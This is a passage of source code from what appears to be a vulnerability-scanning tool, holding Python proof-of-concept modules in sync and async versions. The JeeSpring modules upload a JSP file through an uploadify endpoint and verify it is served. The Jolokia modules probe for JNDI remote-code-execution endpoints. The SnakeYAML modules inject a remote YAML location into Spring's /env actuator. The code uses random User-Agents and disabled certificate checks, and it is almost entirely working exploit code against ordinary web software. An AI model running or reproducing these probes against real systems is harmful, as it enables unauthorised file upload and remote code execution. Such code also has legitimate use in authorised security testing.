b'LS0tLS0tV2ViS2l0Rm9ybUJvdW5kYXJ5Y2RVS1ljczdXbEF4eDlVTA0KQ29udGVudC1EaXNwb3NpdGlvbjogZm9ybS1kYXRhOyBuYW1lPSJmaWxlIjsgZmlsZW5hbWU9ImxvZy5qc3AiDQpDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL29jdGV0LXN0cmVhbQ0KDQo8JSBvdXQucHJpbnRsbigiSGVsbG8gV29ybGQiKTsgJT4NCi0tLS0tLVdlYktpdEZvcm1Cb3VuZGFyeWNkVUtZY3M3V2xBeHg5VUwtLQo=' 21 | self.payload = base64.b64decode(self.payload2) 22 | self.path = 'static/uploadify/uploadFile.jsp?uploadPath=/static/uploadify/' 23 | 24 | def poc(self,url,proxies,ProxyStute): 25 | if ProxyStute == 1: 26 | proxies = proxies 27 | else: 28 | proxies = None 29 | try: 30 | requests.packages.urllib3.disable_warnings() 31 | 32 | re1 = requests.post(url=url + self.path, data=self.payload, headers=self.headers1, verify=False, proxies=proxies) 33 | 34 | code1 = re1.status_code 35 | if ('jsp' in str(re1.text)) and (int(code1) == 200): 36 | result1 = "[+] Payload已经发送,成功上传JSP\n" 37 | newpath = str(re1.text) 38 | urltest = url + "static/uploadify/" + newpath.strip() 39 | retest = requests.get(url=urltest, verify=False, proxies=proxies) 40 | code2 = retest.status_code 41 | if ('Hello' in str(retest.text)) and (code2 == 200): 42 | result2 = f"[+] {urltest} 存在2023JeeSpring任意文件上传漏洞" 43 | return result1 + result2 44 | else: 45 | result2 = f"[-] {urltest} 未发现Poc存活,请手动验证" 46 | return result1 + result2 47 | else: 48 | result = f"[-] {url} 2023JeeSpring任意文件上传漏洞不存在" 49 | return result 50 | except Exception as e: 51 | error = f"[error] {url} 未知错误 {e}" 52 | return error 53 | def exp(self,url,proxies,ProxyStute,cmd): 54 | pass -------------------------------------------------------------------------------- /vuls/JeeSpring_2023_Async.py: -------------------------------------------------------------------------------- 1 | # coding:utf-8 2 | 3 | import aiohttp 4 | import base64 5 | from util import RandomUA 6 | 7 | class JeeSpring_2023_Async: 8 | def __init__(self): 9 | ua = RandomUA.RandomUA() 10 | self.ua = ua.UserAgent() 11 | self.headers1 = { 12 | 'User-Agent': self.ua, 13 | 'Content-Type': 'multipart/form-data;boundary=----WebKitFormBoundarycdUKYcs7WlAxx9UL', 14 | 'Accept-Encoding': 'gzip, deflate', 15 | 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7', 16 | 'Accept-Language': 'zh-CN,zh;q=0.9,ja;q=0.8', 17 | 'Connection': 'close' 18 | } 19 | self.payload2 = b'LS0tLS0tV2ViS2l0Rm9ybUJvdW5kYXJ5Y2RVS1ljczdXbEF4eDlVTA0KQ29udGVudC1EaXNwb3NpdGlvbjogZm9ybS1kYXRhOyBuYW1lPSJmaWxlIjsgZmlsZW5hbWU9ImxvZy5qc3AiDQpDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL29jdGV0LXN0cmVhbQ0KDQo8JSBvdXQucHJpbnRsbigiSGVsbG8gV29ybGQiKTsgJT4NCi0tLS0tLVdlYktpdEZvcm1Cb3VuZGFyeWNkVUtZY3M3V2xBeHg5VUwtLQo=' 20 | self.payload = base64.b64decode(self.payload2) 21 | self.path = 'static/uploadify/uploadFile.jsp?uploadPath=/static/uploadify/' 22 | 23 | async def fetch(self, session, url, payload, headers, proxies): 24 | try: 25 | async with session.post(url=url, data=payload, headers=headers, verify_ssl=False, proxies=proxies) as response: 26 | return await response.text(), response.status 27 | except Exception as e: 28 | return str(e), 0 29 | 30 | async def poc(self, url, proxies, ProxyStute): 31 | if ProxyStute == 1: 32 | proxy = proxies 33 | else: 34 | proxy = None 35 | try: 36 | async with aiohttp.ClientSession() as session: 37 | text1, code1 = await self.fetch(session, url + self.path, self.payload, self.headers1, proxy) 38 | 39 | if 'jsp' in text1 and code1 == 200: 40 | result1 = "[+] Payload已经发送,成功上传JSP\n" 41 | newpath = text1.strip() 42 | urltest = url + "static/uploadify/" + newpath 43 | text2, code2 = await self.fetch(session, urltest, b"", self.headers1, proxy) 44 | 45 | if 'Hello' in text2 and code2 == 200: 46 | result2 = f"[+] {urltest} 存在2023JeeSpring任意文件上传漏洞" 47 | return result1 + result2 48 | else: 49 | result2 = f"[-] {urltest} 未发现Poc存活,请手动验证" 50 | return result1 + result2 51 | else: 52 | result = f"[-] {url} 2023JeeSpring任意文件上传漏洞不存在" 53 | return result 54 | except Exception as e: 55 | error = f"[error] {url} 未知错误 {e}" 56 | return error 57 | async def exp(self, url, proxies, ProxyStute): 58 | pass -------------------------------------------------------------------------------- /vuls/JolokiaRCE.py: -------------------------------------------------------------------------------- 1 | # coding:utf-8 2 | 3 | import requests 4 | 5 | class JolokiaRCE: 6 | def __init__(self): 7 | self.path1 = 'jolokia' 8 | self.path2 = 'actuator/jolokia' 9 | self.path3 = 'jolokia/list' 10 | def poc(self,url,proxies,ProxyStute): 11 | if ProxyStute == 1: 12 | proxies = proxies 13 | else: 14 | proxies = None 15 | try: 16 | requests.packages.urllib3.disable_warnings() 17 | 18 | re1 = requests.post(url=url + self.path1, timeout=10, allow_redirects=False, verify=False, proxies=proxies) 19 | re2 = requests.post(url=url + self.path2, timeout=10, allow_redirects=False, verify=False, proxies=proxies) 20 | 21 | code1 = re1.status_code 22 | code2 = re2.status_code 23 | if ((int(code1) == 200) or (int(code2) == 200)): 24 | result1 = "[+] 发现jolokia相关路径状态码为200,进一步验证\n" 25 | retest = requests.get(url=url + self.path3, timeout=10, verify=False, proxies=proxies) 26 | code3 = retest.status_code 27 | if ('reloadByURL' in str(retest.text)) and (code3 == 200): 28 | result2 = f'[+] {url+ self.path3 } 存在Jolokia-Logback-JNDI-RCE漏洞下' 29 | return result1 + result2 30 | elif ('createJNDIRealm' in str(retest.text)) and (code3 == 200): 31 | result2 = f'[+] {url+ self.path3 } 存在Jolokia-Realm-JNDI-RCE漏洞下' 32 | return result1 + result2 33 | else: 34 | result = f"[-] {url} 未发现jolokia/list路径存在关键词,请手动验证" 35 | return result1 + result 36 | else: 37 | result = f"[-] {url}Jolokia系列RCE漏洞不存在" 38 | return result 39 | except Exception as e: 40 | error = f"[error] {url} 未知错误 {e}" 41 | return error 42 | def exp(self,url,proxies,ProxyStute,cmd): 43 | pass -------------------------------------------------------------------------------- /vuls/JolokiaRCE_Async.py: -------------------------------------------------------------------------------- 1 | # coding:utf-8 2 | 3 | import aiohttp 4 | 5 | class JolokiaRCE_Async: 6 | def __init__(self): 7 | self.path1 = 'jolokia' 8 | self.path2 = 'actuator/jolokia' 9 | self.path3 = 'jolokia/list' 10 | 11 | async def fetch(self, session, url, path, proxies): 12 | try: 13 | async with session.post(url=url + path, timeout=10, allow_redirects=False, verify_ssl=False, proxies=proxies) as response: 14 | return await response.text(), response.status 15 | except Exception as e: 16 | return str(e), 0 17 | 18 | async def poc(self, url, proxies, ProxyStute): 19 | if ProxyStute == 1: 20 | proxy = proxies 21 | else: 22 | proxy = None 23 | try: 24 | async with aiohttp.ClientSession() as session: 25 | text1, code1 = await self.fetch(session, url, self.path1, proxy) 26 | text2, code2 = await self.fetch(session, url, self.path2, proxy) 27 | 28 | if int(code1) == 200 or int(code2) == 200: 29 | result1 = "[+] 发现jolokia相关路径状态码为200,进一步验证\n" 30 | text3, code3 = await self.fetch(session, url, self.path3, proxy) 31 | 32 | if 'reloadByURL' in text3 and code3 == 200: 33 | result2 = f'[+] {url + self.path3 } 存在Jolokia-Logback-JNDI-RCE漏洞下' 34 | return result1 + result2 35 | elif 'createJNDIRealm' in text3 and code3 == 200: 36 | result2 = f'[+] {url + self.path3 } 存在Jolokia-Realm-JNDI-RCE漏洞下' 37 | return result1 + result2 38 | else: 39 | result = f"[-] {url} 未发现jolokia/list路径存在关键词,请手动验证" 40 | return result1 + result 41 | else: 42 | result = f"[-] {url} Jolokia系列RCE漏洞不存在" 43 | return result 44 | except Exception as e: 45 | error = f"[error] {url} 未知错误 {e}" 46 | return error 47 | async def exp(self, url, proxies, ProxyStute): 48 | pass -------------------------------------------------------------------------------- /vuls/SnakeYAML_RCE.py: -------------------------------------------------------------------------------- 1 | # coding:utf-8 2 | 3 | import requests 4 | from util import RandomUA 5 | 6 | class SnakeYAML_RCE: 7 | def __init__(self): 8 | ua = RandomUA.RandomUA() 9 | self.ua = ua.UserAgent() 10 | self.Headers_1 = { 11 | "User-Agent": self.ua, 12 | "Content-Type": "application/x-www-form-urlencoded" 13 | } 14 | self.Headers_2 = { 15 | "User-Agent": self.ua, 16 | "Content-Type": "application/json" 17 | } 18 | self.payload_1 = "spring.cloud.bootstrap.location=http://127.0.0.1/example.yml" 19 | self.payload_2 = "{\"name\":\"spring.main.sources\",\"value\":\"http://127.0.0.1/example.yml\"}" 20 | self.path = 'env' 21 | def poc(self,url,proxies,ProxyStute): 22 | if ProxyStute == 1: 23 | proxies = proxies 24 | else: 25 | proxies = None 26 | try: 27 | requests.packages.urllib3.disable_warnings() 28 | urltest = url + self.path 29 | 30 | re1 = requests.post(url=urltest, headers=self.Headers_1, data=self.payload_1, timeout=6, allow_redirects=False, 31 | verify=False, proxies=proxies) 32 | re2 = requests.post(url=urltest, headers=self.Headers_2, data=self.payload_2, timeout=6, allow_redirects=False, 33 | verify=False, proxies=proxies) 34 | 35 | if ('example.yml' in str(re1.text)): 36 | result1 = "[+] 发现SnakeYAML-RCE漏洞,Poc为Spring 1.x\n" 37 | result2 = f"漏洞存在路径为 {urltest}\n" 38 | result3 = f"'POST数据包内容为 {self.payload_1}" 39 | return result1 + result2 + result3 40 | elif ('example.yml' in str(re2.text)): 41 | result1 = "[+] 发现SnakeYAML-RCE漏洞,Poc为Spring 2.x\n" 42 | result2 = f"漏洞存在路径为 {urltest}\n" 43 | result3 = f"'POST数据包内容为 {self.payload_2}" 44 | return result1 + result2 + result3 45 | else: 46 | result = f"[-] {urltest}未发现SnakeYAML-RCE漏洞" 47 | return result 48 | except Exception as e: 49 | error = f"[error] {url} 未知错误 {e}" 50 | return error 51 | def exp(self,url,proxies,ProxyStute,cmd): 52 | pass -------------------------------------------------------------------------------- /vuls/SnakeYAML_RCE_Async.py: -------------------------------------------------------------------------------- 1 | # coding:utf-8 2 | 3 | import aiohttp 4 | from util import RandomUA 5 | 6 | class SnakeYAML_RCE_Async: 7 | def __init__(self): 8 | ua = RandomUA.RandomUA() 9 | self.ua = ua.UserAgent() 10 | self.Headers_1 = { 11 | "User-Agent": self.ua, 12 | "Content-Type": "application/x-www-form-urlencoded" 13 | } 14 | self.Headers_2 = { 15 | "User-Agent": self.ua, 16 | "Content-Type": "application/json" 17 | } 18 | self.payload_1 = "spring.cloud.bootstrap.location=http://127.0.0.1/example.yml" 19 | self.payload_2 = "{\"name\":\"spring.main.sources\",\"value\":\"http://127.0.0.1/example.yml\"}" 20 | self.path = 'env' 21 | 22 | async def fetch(self, session, url, path, headers, payload, proxies): 23 | try: 24 | async with session.post(url=url + path, headers=headers, data=payload, timeout=6, allow_redirects=False, 25 | verify_ssl=False, proxies=proxies) as response: 26 | return await response.text(), response.status 27 | except Exception as e: 28 | return str(e), 0 29 | 30 | async def poc(self, url, proxies, ProxyStute): 31 | if ProxyStute == 1: 32 | proxy = proxies 33 | else: 34 | proxy = None 35 | try: 36 | async with aiohttp.ClientSession() as session: 37 | urltest = url + self.path 38 | 39 | text1, _ = await self.fetch(session, urltest, "", self.Headers_1, self.payload_1, proxy) 40 | text2, _ = await self.fetch(session, urltest, "", self.Headers_2, self.payload_2, proxy) 41 | 42 | if 'example.yml' in text1: 43 | result1 = "[+] 发现SnakeYAML-RCE漏洞,Poc为Spring 1.x\n" 44 | result2 = f"漏洞存在路径为 {urltest}\n" 45 | result3 = f"'POST数据包内容为 {self.payload_1}" 46 | return result1 + result2 + result3 47 | elif 'example.yml' in text2: 48 | result1 = "[+] 发现SnakeYAML-RCE漏洞,Poc为Spring 2.x\n" 49 | result2 = f"漏洞存在路径为 {urltest}\n" 50 | result3 = f"'POST数据包内容为 {self.payload_2}" 51 | return result1 + result2 + result3 52 | else: 53 | result = f"[-] {urltest}未发现SnakeYAML-RCE漏洞" 54 | return result 55 | except Exception as e: 56 | error = f"[error] {url} 未知错误 {e}" 57 | return error 58 | 59 | async def exp(self, url, proxies, ProxyStute): 60 | pass --------------------------------------------------------------------------------